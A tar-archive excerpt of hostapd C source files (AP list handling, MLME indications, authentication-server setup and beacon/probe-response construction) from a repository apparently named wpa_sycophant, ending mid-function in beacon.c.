HT AP detected: " MACSTR " (channel %d) - enable protection", MAC2STR(ap->addr), ap->channel); set_beacon++; } #endif /* CONFIG_IEEE80211N */ if (set_beacon) ieee802_11_update_beacons(iface); } void ap_list_timer(struct hostapd_iface *iface) { struct os_reltime now; struct ap_info *ap; int set_beacon = 0; if (!iface->ap_list) return; os_get_reltime(&now); while (iface->ap_list) { ap = iface->ap_list->prev; if (!os_reltime_expired(&now, &ap->last_beacon, iface->conf->ap_table_expiration_time)) break; ap_free_ap(iface, ap); } if (iface->olbc || iface->olbc_ht) { int olbc = 0; int olbc_ht = 0; ap = iface->ap_list; while (ap && (olbc == 0 || olbc_ht == 0)) { if (ap_list_beacon_olbc(iface, ap)) olbc = 1; if (!ap->ht_support) olbc_ht = 1; ap = ap->next; } if (!olbc && iface->olbc) { wpa_printf(MSG_DEBUG, "OLBC not detected anymore"); iface->olbc = 0; set_beacon++; } #ifdef CONFIG_IEEE80211N if (!olbc_ht && iface->olbc_ht) { wpa_printf(MSG_DEBUG, "OLBC HT not detected anymore"); iface->olbc_ht = 0; hostapd_ht_operation_update(iface); set_beacon++; } #endif /* CONFIG_IEEE80211N */ } if (set_beacon) ieee802_11_update_beacons(iface); } int ap_list_init(struct hostapd_iface *iface) { return 0; } void ap_list_deinit(struct hostapd_iface *iface) { hostapd_free_aps(iface); } wpa_sycophant-master/src/ap/ap_list.h000066400000000000000000000027741377436615100202500ustar00rootroot00000000000000/* * hostapd / AP table * Copyright (c) 2002-2003, Jouni Malinen * Copyright (c) 2003-2004, Instant802 Networks, Inc. * Copyright (c) 2006, Devicescape Software, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef AP_LIST_H #define AP_LIST_H struct ap_info { /* Note: next/prev pointers are updated whenever a new beacon is * received because these are used to find the least recently used * entries. */ struct ap_info *next; /* next entry in AP list */ struct ap_info *prev; /* previous entry in AP list */ struct ap_info *hnext; /* next entry in hash table list */ u8 addr[6]; u8 supported_rates[WLAN_SUPP_RATES_MAX]; int erp; /* ERP Info or -1 if ERP info element not present */ int channel; int ht_support; struct os_reltime last_beacon; }; struct ieee802_11_elems; struct hostapd_frame_info; void ap_list_process_beacon(struct hostapd_iface *iface, const struct ieee80211_mgmt *mgmt, struct ieee802_11_elems *elems, struct hostapd_frame_info *fi); #ifdef NEED_AP_MLME int ap_list_init(struct hostapd_iface *iface); void ap_list_deinit(struct hostapd_iface *iface); void ap_list_timer(struct hostapd_iface *iface); #else /* NEED_AP_MLME */ static inline int ap_list_init(struct hostapd_iface *iface) { return 0; } static inline void ap_list_deinit(struct hostapd_iface *iface) { } static inline void ap_list_timer(struct hostapd_iface *iface) { } #endif /* NEED_AP_MLME */ #endif /* AP_LIST_H */ wpa_sycophant-master/src/ap/ap_mlme.c000066400000000000000000000132201377436615100202060ustar00rootroot00000000000000/* * hostapd / IEEE 802.11 MLME * Copyright 2003-2006, Jouni Malinen * Copyright 2003-2004, Instant802 Networks, Inc. * Copyright 2005-2006, Devicescape Software, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "common/ieee802_11_defs.h" #include "ieee802_11.h" #include "wpa_auth.h" #include "sta_info.h" #include "ap_mlme.h" #include "hostapd.h" #ifndef CONFIG_NO_HOSTAPD_LOGGER static const char * mlme_auth_alg_str(int alg) { switch (alg) { case WLAN_AUTH_OPEN: return "OPEN_SYSTEM"; case WLAN_AUTH_SHARED_KEY: return "SHARED_KEY"; case WLAN_AUTH_FT: return "FT"; } return "unknown"; } #endif /* CONFIG_NO_HOSTAPD_LOGGER */ /** * mlme_authenticate_indication - Report the establishment of an authentication * relationship with a specific peer MAC entity * @hapd: BSS data * @sta: peer STA data * * MLME calls this function as a result of the establishment of an * authentication relationship with a specific peer MAC entity that * resulted from an authentication procedure that was initiated by * that specific peer MAC entity. * * PeerSTAAddress = sta->addr * AuthenticationType = sta->auth_alg (WLAN_AUTH_OPEN / WLAN_AUTH_SHARED_KEY) */ void mlme_authenticate_indication(struct hostapd_data *hapd, struct sta_info *sta) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_MLME, HOSTAPD_LEVEL_DEBUG, "MLME-AUTHENTICATE.indication(" MACSTR ", %s)", MAC2STR(sta->addr), mlme_auth_alg_str(sta->auth_alg)); if (sta->auth_alg != WLAN_AUTH_FT && sta->auth_alg != WLAN_AUTH_FILS_SK && sta->auth_alg != WLAN_AUTH_FILS_SK_PFS && sta->auth_alg != WLAN_AUTH_FILS_PK && !(sta->flags & WLAN_STA_MFP)) mlme_deletekeys_request(hapd, sta); ap_sta_clear_disconnect_timeouts(hapd, sta); } /** * mlme_deauthenticate_indication - Report the invalidation of an * authentication relationship with a specific peer MAC entity * @hapd: BSS data * @sta: Peer STA data * @reason_code: ReasonCode from Deauthentication frame * * MLME calls this function as a result of the invalidation of an * authentication relationship with a specific peer MAC entity. * * PeerSTAAddress = sta->addr */ void mlme_deauthenticate_indication(struct hostapd_data *hapd, struct sta_info *sta, u16 reason_code) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_MLME, HOSTAPD_LEVEL_DEBUG, "MLME-DEAUTHENTICATE.indication(" MACSTR ", %d)", MAC2STR(sta->addr), reason_code); if (!hapd->iface->driver_ap_teardown) mlme_deletekeys_request(hapd, sta); } /** * mlme_associate_indication - Report the establishment of an association with * a specific peer MAC entity * @hapd: BSS data * @sta: peer STA data * * MLME calls this function as a result of the establishment of an * association with a specific peer MAC entity that resulted from an * association procedure that was initiated by that specific peer MAC entity. * * PeerSTAAddress = sta->addr */ void mlme_associate_indication(struct hostapd_data *hapd, struct sta_info *sta) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_MLME, HOSTAPD_LEVEL_DEBUG, "MLME-ASSOCIATE.indication(" MACSTR ")", MAC2STR(sta->addr)); if (sta->auth_alg != WLAN_AUTH_FT && sta->auth_alg != WLAN_AUTH_FILS_SK && sta->auth_alg != WLAN_AUTH_FILS_SK_PFS && sta->auth_alg != WLAN_AUTH_FILS_PK) mlme_deletekeys_request(hapd, sta); ap_sta_clear_disconnect_timeouts(hapd, sta); } /** * mlme_reassociate_indication - Report the establishment of an reassociation * with a specific peer MAC entity * @hapd: BSS data * @sta: peer STA data * * MLME calls this function as a result of the establishment of an * reassociation with a specific peer MAC entity that resulted from a * reassociation procedure that was initiated by that specific peer MAC entity. * * PeerSTAAddress = sta->addr */ void mlme_reassociate_indication(struct hostapd_data *hapd, struct sta_info *sta) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_MLME, HOSTAPD_LEVEL_DEBUG, "MLME-REASSOCIATE.indication(" MACSTR ")", MAC2STR(sta->addr)); if (sta->auth_alg != WLAN_AUTH_FT && sta->auth_alg != WLAN_AUTH_FILS_SK && sta->auth_alg != WLAN_AUTH_FILS_SK_PFS && sta->auth_alg != WLAN_AUTH_FILS_PK) mlme_deletekeys_request(hapd, sta); ap_sta_clear_disconnect_timeouts(hapd, sta); } /** * mlme_disassociate_indication - Report disassociation with a specific peer * MAC entity * @hapd: BSS data * @sta: Peer STA data * @reason_code: ReasonCode from Disassociation frame * * MLME calls this function as a result of the invalidation of an association * relationship with a specific peer MAC entity. * * PeerSTAAddress = sta->addr */ void mlme_disassociate_indication(struct hostapd_data *hapd, struct sta_info *sta, u16 reason_code) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_MLME, HOSTAPD_LEVEL_DEBUG, "MLME-DISASSOCIATE.indication(" MACSTR ", %d)", MAC2STR(sta->addr), reason_code); mlme_deletekeys_request(hapd, sta); } void mlme_michaelmicfailure_indication(struct hostapd_data *hapd, const u8 *addr) { hostapd_logger(hapd, addr, HOSTAPD_MODULE_MLME, HOSTAPD_LEVEL_DEBUG, "MLME-MichaelMICFailure.indication(" MACSTR ")", MAC2STR(addr)); } void mlme_deletekeys_request(struct hostapd_data *hapd, struct sta_info *sta) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_MLME, HOSTAPD_LEVEL_DEBUG, "MLME-DELETEKEYS.request(" MACSTR ")", MAC2STR(sta->addr)); if (sta->wpa_sm) wpa_remove_ptk(sta->wpa_sm); } wpa_sycophant-master/src/ap/ap_mlme.h000066400000000000000000000017571377436615100202270ustar00rootroot00000000000000/* * hostapd / IEEE 802.11 MLME * Copyright 2003, Jouni Malinen * Copyright 2003-2004, Instant802 Networks, Inc. * Copyright 2005-2006, Devicescape Software, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef MLME_H #define MLME_H void mlme_authenticate_indication(struct hostapd_data *hapd, struct sta_info *sta); void mlme_deauthenticate_indication(struct hostapd_data *hapd, struct sta_info *sta, u16 reason_code); void mlme_associate_indication(struct hostapd_data *hapd, struct sta_info *sta); void mlme_reassociate_indication(struct hostapd_data *hapd, struct sta_info *sta); void mlme_disassociate_indication(struct hostapd_data *hapd, struct sta_info *sta, u16 reason_code); void mlme_michaelmicfailure_indication(struct hostapd_data *hapd, const u8 *addr); void mlme_deletekeys_request(struct hostapd_data *hapd, struct sta_info *sta); #endif /* MLME_H */ wpa_sycophant-master/src/ap/authsrv.c000066400000000000000000000152201377436615100202720ustar00rootroot00000000000000/* * Authentication server setup * Copyright (c) 2002-2009, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "crypto/tls.h" #include "eap_server/eap.h" #include "eap_server/eap_sim_db.h" #include "eapol_auth/eapol_auth_sm.h" #include "radius/radius_server.h" #include "hostapd.h" #include "ap_config.h" #include "sta_info.h" #include "authsrv.h" #if defined(EAP_SERVER_SIM) || defined(EAP_SERVER_AKA) #define EAP_SIM_DB #endif /* EAP_SERVER_SIM || EAP_SERVER_AKA */ #ifdef EAP_SIM_DB static int hostapd_sim_db_cb_sta(struct hostapd_data *hapd, struct sta_info *sta, void *ctx) { if (eapol_auth_eap_pending_cb(sta->eapol_sm, ctx) == 0) return 1; return 0; } static void hostapd_sim_db_cb(void *ctx, void *session_ctx) { struct hostapd_data *hapd = ctx; if (ap_for_each_sta(hapd, hostapd_sim_db_cb_sta, session_ctx) == 0) { #ifdef RADIUS_SERVER radius_server_eap_pending_cb(hapd->radius_srv, session_ctx); #endif /* RADIUS_SERVER */ } } #endif /* EAP_SIM_DB */ #ifdef RADIUS_SERVER static int hostapd_radius_get_eap_user(void *ctx, const u8 *identity, size_t identity_len, int phase2, struct eap_user *user) { const struct hostapd_eap_user *eap_user; int i; int rv = -1; eap_user = hostapd_get_eap_user(ctx, identity, identity_len, phase2); if (eap_user == NULL) goto out; if (user == NULL) return 0; os_memset(user, 0, sizeof(*user)); for (i = 0; i < EAP_MAX_METHODS; i++) { user->methods[i].vendor = eap_user->methods[i].vendor; user->methods[i].method = eap_user->methods[i].method; } if (eap_user->password) { user->password = os_memdup(eap_user->password, eap_user->password_len); if (user->password == NULL) goto out; user->password_len = eap_user->password_len; user->password_hash = eap_user->password_hash; if (eap_user->salt && eap_user->salt_len) { user->salt = os_memdup(eap_user->salt, eap_user->salt_len); if (!user->salt) goto out; user->salt_len = eap_user->salt_len; } } user->force_version = eap_user->force_version; user->macacl = eap_user->macacl; user->ttls_auth = eap_user->ttls_auth; user->remediation = eap_user->remediation; user->accept_attr = eap_user->accept_attr; user->t_c_timestamp = eap_user->t_c_timestamp; rv = 0; out: if (rv) wpa_printf(MSG_DEBUG, "%s: Failed to find user", __func__); return rv; } static int hostapd_setup_radius_srv(struct hostapd_data *hapd) { struct radius_server_conf srv; struct hostapd_bss_config *conf = hapd->conf; os_memset(&srv, 0, sizeof(srv)); srv.client_file = conf->radius_server_clients; srv.auth_port = conf->radius_server_auth_port; srv.acct_port = conf->radius_server_acct_port; srv.conf_ctx = hapd; srv.eap_sim_db_priv = hapd->eap_sim_db_priv; srv.ssl_ctx = hapd->ssl_ctx; srv.msg_ctx = hapd->msg_ctx; srv.pac_opaque_encr_key = conf->pac_opaque_encr_key; srv.eap_fast_a_id = conf->eap_fast_a_id; srv.eap_fast_a_id_len = conf->eap_fast_a_id_len; srv.eap_fast_a_id_info = conf->eap_fast_a_id_info; srv.eap_fast_prov = conf->eap_fast_prov; srv.pac_key_lifetime = conf->pac_key_lifetime; srv.pac_key_refresh_time = conf->pac_key_refresh_time; srv.eap_sim_aka_result_ind = conf->eap_sim_aka_result_ind; srv.tnc = conf->tnc; srv.wps = hapd->wps; srv.ipv6 = conf->radius_server_ipv6; srv.get_eap_user = hostapd_radius_get_eap_user; srv.eap_req_id_text = conf->eap_req_id_text; srv.eap_req_id_text_len = conf->eap_req_id_text_len; srv.pwd_group = conf->pwd_group; srv.server_id = conf->server_id ? conf->server_id : "hostapd"; srv.sqlite_file = conf->eap_user_sqlite; #ifdef CONFIG_RADIUS_TEST srv.dump_msk_file = conf->dump_msk_file; #endif /* CONFIG_RADIUS_TEST */ #ifdef CONFIG_HS20 srv.subscr_remediation_url = conf->subscr_remediation_url; srv.subscr_remediation_method = conf->subscr_remediation_method; #endif /* CONFIG_HS20 */ srv.erp = conf->eap_server_erp; srv.erp_domain = conf->erp_domain; srv.tls_session_lifetime = conf->tls_session_lifetime; srv.tls_flags = conf->tls_flags; hapd->radius_srv = radius_server_init(&srv); if (hapd->radius_srv == NULL) { wpa_printf(MSG_ERROR, "RADIUS server initialization failed."); return -1; } return 0; } #endif /* RADIUS_SERVER */ int authsrv_init(struct hostapd_data *hapd) { #ifdef EAP_TLS_FUNCS if (hapd->conf->eap_server && (hapd->conf->ca_cert || hapd->conf->server_cert || hapd->conf->private_key || hapd->conf->dh_file)) { struct tls_config conf; struct tls_connection_params params; os_memset(&conf, 0, sizeof(conf)); conf.tls_session_lifetime = hapd->conf->tls_session_lifetime; conf.tls_flags = hapd->conf->tls_flags; hapd->ssl_ctx = tls_init(&conf); if (hapd->ssl_ctx == NULL) { wpa_printf(MSG_ERROR, "Failed to initialize TLS"); authsrv_deinit(hapd); return -1; } os_memset(¶ms, 0, sizeof(params)); params.ca_cert = hapd->conf->ca_cert; params.client_cert = hapd->conf->server_cert; params.private_key = hapd->conf->private_key; params.private_key_passwd = hapd->conf->private_key_passwd; params.dh_file = hapd->conf->dh_file; params.openssl_ciphers = hapd->conf->openssl_ciphers; params.ocsp_stapling_response = hapd->conf->ocsp_stapling_response; params.ocsp_stapling_response_multi = hapd->conf->ocsp_stapling_response_multi; if (tls_global_set_params(hapd->ssl_ctx, ¶ms)) { wpa_printf(MSG_ERROR, "Failed to set TLS parameters"); authsrv_deinit(hapd); return -1; } if (tls_global_set_verify(hapd->ssl_ctx, hapd->conf->check_crl)) { wpa_printf(MSG_ERROR, "Failed to enable check_crl"); authsrv_deinit(hapd); return -1; } } #endif /* EAP_TLS_FUNCS */ #ifdef EAP_SIM_DB if (hapd->conf->eap_sim_db) { hapd->eap_sim_db_priv = eap_sim_db_init(hapd->conf->eap_sim_db, hapd->conf->eap_sim_db_timeout, hostapd_sim_db_cb, hapd); if (hapd->eap_sim_db_priv == NULL) { wpa_printf(MSG_ERROR, "Failed to initialize EAP-SIM " "database interface"); authsrv_deinit(hapd); return -1; } } #endif /* EAP_SIM_DB */ #ifdef RADIUS_SERVER if (hapd->conf->radius_server_clients && hostapd_setup_radius_srv(hapd)) return -1; #endif /* RADIUS_SERVER */ return 0; } void authsrv_deinit(struct hostapd_data *hapd) { #ifdef RADIUS_SERVER radius_server_deinit(hapd->radius_srv); hapd->radius_srv = NULL; #endif /* RADIUS_SERVER */ #ifdef EAP_TLS_FUNCS if (hapd->ssl_ctx) { tls_deinit(hapd->ssl_ctx); hapd->ssl_ctx = NULL; } #endif /* EAP_TLS_FUNCS */ #ifdef EAP_SIM_DB if (hapd->eap_sim_db_priv) { eap_sim_db_deinit(hapd->eap_sim_db_priv); hapd->eap_sim_db_priv = NULL; } #endif /* EAP_SIM_DB */ } wpa_sycophant-master/src/ap/authsrv.h000066400000000000000000000005401377436615100202760ustar00rootroot00000000000000/* * Authentication server setup * Copyright (c) 2002-2009, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef AUTHSRV_H #define AUTHSRV_H int authsrv_init(struct hostapd_data *hapd); void authsrv_deinit(struct hostapd_data *hapd); #endif /* AUTHSRV_H */ wpa_sycophant-master/src/ap/beacon.c000066400000000000000000001161051377436615100200310ustar00rootroot00000000000000/* * hostapd / IEEE 802.11 Management: Beacon and Probe Request/Response * Copyright (c) 2002-2004, Instant802 Networks, Inc. * Copyright (c) 2005-2006, Devicescape Software, Inc. * Copyright (c) 2008-2012, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #ifndef CONFIG_NATIVE_WINDOWS #include "utils/common.h" #include "common/ieee802_11_defs.h" #include "common/ieee802_11_common.h" #include "common/hw_features_common.h" #include "common/wpa_ctrl.h" #include "wps/wps_defs.h" #include "p2p/p2p.h" #include "hostapd.h" #include "ieee802_11.h" #include "wpa_auth.h" #include "wmm.h" #include "ap_config.h" #include "sta_info.h" #include "p2p_hostapd.h" #include "ap_drv_ops.h" #include "beacon.h" #include "hs20.h" #include "dfs.h" #include "taxonomy.h" #include "ieee802_11_auth.h" #ifdef NEED_AP_MLME static u8 * hostapd_eid_rm_enabled_capab(struct hostapd_data *hapd, u8 *eid, size_t len) { size_t i; for (i = 0; i < RRM_CAPABILITIES_IE_LEN; i++) { if (hapd->conf->radio_measurements[i]) break; } if (i == RRM_CAPABILITIES_IE_LEN || len < 2 + RRM_CAPABILITIES_IE_LEN) return eid; *eid++ = WLAN_EID_RRM_ENABLED_CAPABILITIES; *eid++ = RRM_CAPABILITIES_IE_LEN; os_memcpy(eid, hapd->conf->radio_measurements, RRM_CAPABILITIES_IE_LEN); return eid + RRM_CAPABILITIES_IE_LEN; } static u8 * hostapd_eid_bss_load(struct hostapd_data *hapd, u8 *eid, size_t len) { if (len < 2 + 5) return eid; #ifdef CONFIG_TESTING_OPTIONS if (hapd->conf->bss_load_test_set) { *eid++ = WLAN_EID_BSS_LOAD; *eid++ = 5; os_memcpy(eid, hapd->conf->bss_load_test, 5); eid += 5; return eid; } #endif /* CONFIG_TESTING_OPTIONS */ if (hapd->conf->bss_load_update_period) { *eid++ = WLAN_EID_BSS_LOAD; *eid++ = 5; WPA_PUT_LE16(eid, hapd->num_sta); eid += 2; *eid++ = hapd->iface->channel_utilization; WPA_PUT_LE16(eid, 0); /* no available admission capabity */ eid += 2; } return eid; } static u8 ieee802_11_erp_info(struct hostapd_data *hapd) { u8 erp = 0; if (hapd->iface->current_mode == NULL || hapd->iface->current_mode->mode != HOSTAPD_MODE_IEEE80211G) return 0; if (hapd->iface->olbc) erp |= ERP_INFO_USE_PROTECTION; if (hapd->iface->num_sta_non_erp > 0) { erp |= ERP_INFO_NON_ERP_PRESENT | ERP_INFO_USE_PROTECTION; } if (hapd->iface->num_sta_no_short_preamble > 0 || hapd->iconf->preamble == LONG_PREAMBLE) erp |= ERP_INFO_BARKER_PREAMBLE_MODE; return erp; } static u8 * hostapd_eid_ds_params(struct hostapd_data *hapd, u8 *eid) { *eid++ = WLAN_EID_DS_PARAMS; *eid++ = 1; *eid++ = hapd->iconf->channel; return eid; } static u8 * hostapd_eid_erp_info(struct hostapd_data *hapd, u8 *eid) { if (hapd->iface->current_mode == NULL || hapd->iface->current_mode->mode != HOSTAPD_MODE_IEEE80211G) return eid; /* Set NonERP_present and use_protection bits if there * are any associated NonERP stations. */ /* TODO: use_protection bit can be set to zero even if * there are NonERP stations present. This optimization * might be useful if NonERP stations are "quiet". * See 802.11g/D6 E-1 for recommended practice. * In addition, Non ERP present might be set, if AP detects Non ERP * operation on other APs. */ /* Add ERP Information element */ *eid++ = WLAN_EID_ERP_INFO; *eid++ = 1; *eid++ = ieee802_11_erp_info(hapd); return eid; } static u8 * hostapd_eid_pwr_constraint(struct hostapd_data *hapd, u8 *eid) { u8 *pos = eid; u8 local_pwr_constraint = 0; int dfs; if (hapd->iface->current_mode == NULL || hapd->iface->current_mode->mode != HOSTAPD_MODE_IEEE80211A) return eid; /* Let host drivers add this IE if DFS support is offloaded */ if (hapd->iface->drv_flags & WPA_DRIVER_FLAGS_DFS_OFFLOAD) return eid; /* * There is no DFS support and power constraint was not directly * requested by config option. */ if (!hapd->iconf->ieee80211h && hapd->iconf->local_pwr_constraint == -1) return eid; /* Check if DFS is required by regulatory. */ dfs = hostapd_is_dfs_required(hapd->iface); if (dfs < 0) { wpa_printf(MSG_WARNING, "Failed to check if DFS is required; ret=%d", dfs); dfs = 0; } if (dfs == 0 && hapd->iconf->local_pwr_constraint == -1) return eid; /* * ieee80211h (DFS) is enabled so Power Constraint element shall * be added when running on DFS channel whenever local_pwr_constraint * is configured or not. In order to meet regulations when TPC is not * implemented using a transmit power that is below the legal maximum * (including any mitigation factor) should help. In this case, * indicate 3 dB below maximum allowed transmit power. */ if (hapd->iconf->local_pwr_constraint == -1) local_pwr_constraint = 3; /* * A STA that is not an AP shall use a transmit power less than or * equal to the local maximum transmit power level for the channel. * The local maximum transmit power can be calculated from the formula: * local max TX pwr = max TX pwr - local pwr constraint * Where max TX pwr is maximum transmit power level specified for * channel in Country element and local pwr constraint is specified * for channel in this Power Constraint element. */ /* Element ID */ *pos++ = WLAN_EID_PWR_CONSTRAINT; /* Length */ *pos++ = 1; /* Local Power Constraint */ if (local_pwr_constraint) *pos++ = local_pwr_constraint; else *pos++ = hapd->iconf->local_pwr_constraint; return pos; } static u8 * hostapd_eid_country_add(u8 *pos, u8 *end, int chan_spacing, struct hostapd_channel_data *start, struct hostapd_channel_data *prev) { if (end - pos < 3) return pos; /* first channel number */ *pos++ = start->chan; /* number of channels */ *pos++ = (prev->chan - start->chan) / chan_spacing + 1; /* maximum transmit power level */ *pos++ = start->max_tx_power; return pos; } static u8 * hostapd_eid_country(struct hostapd_data *hapd, u8 *eid, int max_len) { u8 *pos = eid; u8 *end = eid + max_len; int i; struct hostapd_hw_modes *mode; struct hostapd_channel_data *start, *prev; int chan_spacing = 1; if (!hapd->iconf->ieee80211d || max_len < 6 || hapd->iface->current_mode == NULL) return eid; *pos++ = WLAN_EID_COUNTRY; pos++; /* length will be set later */ os_memcpy(pos, hapd->iconf->country, 3); /* e.g., 'US ' */ pos += 3; mode = hapd->iface->current_mode; if (mode->mode == HOSTAPD_MODE_IEEE80211A) chan_spacing = 4; start = prev = NULL; for (i = 0; i < mode->num_channels; i++) { struct hostapd_channel_data *chan = &mode->channels[i]; if (chan->flag & HOSTAPD_CHAN_DISABLED) continue; if (start && prev && prev->chan + chan_spacing == chan->chan && start->max_tx_power == chan->max_tx_power) { prev = chan; continue; /* can use same entry */ } if (start && prev) { pos = hostapd_eid_country_add(pos, end, chan_spacing, start, prev); start = NULL; } /* Start new group */ start = prev = chan; } if (start) { pos = hostapd_eid_country_add(pos, end, chan_spacing, start, prev); } if ((pos - eid) & 1) { if (end - pos < 1) return eid; *pos++ = 0; /* pad for 16-bit alignment */ } eid[1] = (pos - eid) - 2; return pos; } static u8 * hostapd_eid_wpa(struct hostapd_data *hapd, u8 *eid, size_t len) { const u8 *ie; size_t ielen; ie = wpa_auth_get_wpa_ie(hapd->wpa_auth, &ielen); if (ie == NULL || ielen > len) return eid; os_memcpy(eid, ie, ielen); return eid + ielen; } static u8 * hostapd_eid_csa(struct hostapd_data *hapd, u8 *eid) { #ifdef CONFIG_TESTING_OPTIONS if (hapd->iface->cs_oper_class && hapd->iconf->ecsa_ie_only) return eid; #endif /* CONFIG_TESTING_OPTIONS */ if (!hapd->cs_freq_params.channel) return eid; *eid++ = WLAN_EID_CHANNEL_SWITCH; *eid++ = 3; *eid++ = hapd->cs_block_tx; *eid++ = hapd->cs_freq_params.channel; *eid++ = hapd->cs_count; return eid; } static u8 * hostapd_eid_ecsa(struct hostapd_data *hapd, u8 *eid) { if (!hapd->cs_freq_params.channel || !hapd->iface->cs_oper_class) return eid; *eid++ = WLAN_EID_EXT_CHANSWITCH_ANN; *eid++ = 4; *eid++ = hapd->cs_block_tx; *eid++ = hapd->iface->cs_oper_class; *eid++ = hapd->cs_freq_params.channel; *eid++ = hapd->cs_count; return eid; } static u8 * hostapd_eid_supported_op_classes(struct hostapd_data *hapd, u8 *eid) { u8 op_class, channel; if (!(hapd->iface->drv_flags & WPA_DRIVER_FLAGS_AP_CSA) || !hapd->iface->freq) return eid; if (ieee80211_freq_to_channel_ext(hapd->iface->freq, hapd->iconf->secondary_channel, hapd->iconf->vht_oper_chwidth, &op_class, &channel) == NUM_HOSTAPD_MODES) return eid; *eid++ = WLAN_EID_SUPPORTED_OPERATING_CLASSES; *eid++ = 2; /* Current Operating Class */ *eid++ = op_class; /* TODO: Advertise all the supported operating classes */ *eid++ = 0; return eid; } static u8 * hostapd_gen_probe_resp(struct hostapd_data *hapd, const struct ieee80211_mgmt *req, int is_p2p, size_t *resp_len) { struct ieee80211_mgmt *resp; u8 *pos, *epos, *csa_pos; size_t buflen; #define MAX_PROBERESP_LEN 768 buflen = MAX_PROBERESP_LEN; #ifdef CONFIG_WPS if (hapd->wps_probe_resp_ie) buflen += wpabuf_len(hapd->wps_probe_resp_ie); #endif /* CONFIG_WPS */ #ifdef CONFIG_P2P if (hapd->p2p_probe_resp_ie) buflen += wpabuf_len(hapd->p2p_probe_resp_ie); #endif /* CONFIG_P2P */ #ifdef CONFIG_FST if (hapd->iface->fst_ies) buflen += wpabuf_len(hapd->iface->fst_ies); #endif /* CONFIG_FST */ if (hapd->conf->vendor_elements) buflen += wpabuf_len(hapd->conf->vendor_elements); if (hapd->conf->vendor_vht) { buflen += 5 + 2 + sizeof(struct ieee80211_vht_capabilities) + 2 + sizeof(struct ieee80211_vht_operation); } #ifdef CONFIG_IEEE80211AX if (hapd->iconf->ieee80211ax) { buflen += 3 + sizeof(struct ieee80211_he_capabilities) + 3 + sizeof(struct ieee80211_he_operation); } #endif /* CONFIG_IEEE80211AX */ buflen += hostapd_mbo_ie_len(hapd); buflen += hostapd_eid_owe_trans_len(hapd); resp = os_zalloc(buflen); if (resp == NULL) return NULL; epos = ((u8 *) resp) + MAX_PROBERESP_LEN; resp->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, WLAN_FC_STYPE_PROBE_RESP); if (req) os_memcpy(resp->da, req->sa, ETH_ALEN); os_memcpy(resp->sa, hapd->own_addr, ETH_ALEN); os_memcpy(resp->bssid, hapd->own_addr, ETH_ALEN); resp->u.probe_resp.beacon_int = host_to_le16(hapd->iconf->beacon_int); /* hardware or low-level driver will setup seq_ctrl and timestamp */ resp->u.probe_resp.capab_info = host_to_le16(hostapd_own_capab_info(hapd)); pos = resp->u.probe_resp.variable; *pos++ = WLAN_EID_SSID; *pos++ = hapd->conf->ssid.ssid_len; os_memcpy(pos, hapd->conf->ssid.ssid, hapd->conf->ssid.ssid_len); pos += hapd->conf->ssid.ssid_len; /* Supported rates */ pos = hostapd_eid_supp_rates(hapd, pos); /* DS Params */ pos = hostapd_eid_ds_params(hapd, pos); pos = hostapd_eid_country(hapd, pos, epos - pos); /* Power Constraint element */ pos = hostapd_eid_pwr_constraint(hapd, pos); /* CSA IE */ csa_pos = hostapd_eid_csa(hapd, pos); if (csa_pos != pos) hapd->cs_c_off_proberesp = csa_pos - (u8 *) resp - 1; pos = csa_pos; /* ERP Information element */ pos = hostapd_eid_erp_info(hapd, pos); /* Extended supported rates */ pos = hostapd_eid_ext_supp_rates(hapd, pos); /* RSN, MDIE, WPA */ pos = hostapd_eid_wpa(hapd, pos, epos - pos); pos = hostapd_eid_bss_load(hapd, pos, epos - pos); pos = hostapd_eid_rm_enabled_capab(hapd, pos, epos - pos); /* eCSA IE */ csa_pos = hostapd_eid_ecsa(hapd, pos); if (csa_pos != pos) hapd->cs_c_off_ecsa_proberesp = csa_pos - (u8 *) resp - 1; pos = csa_pos; pos = hostapd_eid_supported_op_classes(hapd, pos); #ifdef CONFIG_IEEE80211N /* Secondary Channel Offset element */ /* TODO: The standard doesn't specify a position for this element. */ pos = hostapd_eid_secondary_channel(hapd, pos); pos = hostapd_eid_ht_capabilities(hapd, pos); pos = hostapd_eid_ht_operation(hapd, pos); #endif /* CONFIG_IEEE80211N */ pos = hostapd_eid_ext_capab(hapd, pos); pos = hostapd_eid_time_adv(hapd, pos); pos = hostapd_eid_time_zone(hapd, pos); pos = hostapd_eid_interworking(hapd, pos); pos = hostapd_eid_adv_proto(hapd, pos); pos = hostapd_eid_roaming_consortium(hapd, pos); #ifdef CONFIG_FST if (hapd->iface->fst_ies) { os_memcpy(pos, wpabuf_head(hapd->iface->fst_ies), wpabuf_len(hapd->iface->fst_ies)); pos += wpabuf_len(hapd->iface->fst_ies); } #endif /* CONFIG_FST */ #ifdef CONFIG_IEEE80211AC if (hapd->iconf->ieee80211ac && !hapd->conf->disable_11ac) { pos = hostapd_eid_vht_capabilities(hapd, pos, 0); pos = hostapd_eid_vht_operation(hapd, pos); pos = hostapd_eid_txpower_envelope(hapd, pos); pos = hostapd_eid_wb_chsw_wrapper(hapd, pos); } #endif /* CONFIG_IEEE80211AC */ pos = hostapd_eid_fils_indic(hapd, pos, 0); #ifdef CONFIG_IEEE80211AX if (hapd->iconf->ieee80211ax) { pos = hostapd_eid_he_capab(hapd, pos); pos = hostapd_eid_he_operation(hapd, pos); } #endif /* CONFIG_IEEE80211AX */ #ifdef CONFIG_IEEE80211AC if (hapd->conf->vendor_vht) pos = hostapd_eid_vendor_vht(hapd, pos); #endif /* CONFIG_IEEE80211AC */ /* Wi-Fi Alliance WMM */ pos = hostapd_eid_wmm(hapd, pos); #ifdef CONFIG_WPS if (hapd->conf->wps_state && hapd->wps_probe_resp_ie) { os_memcpy(pos, 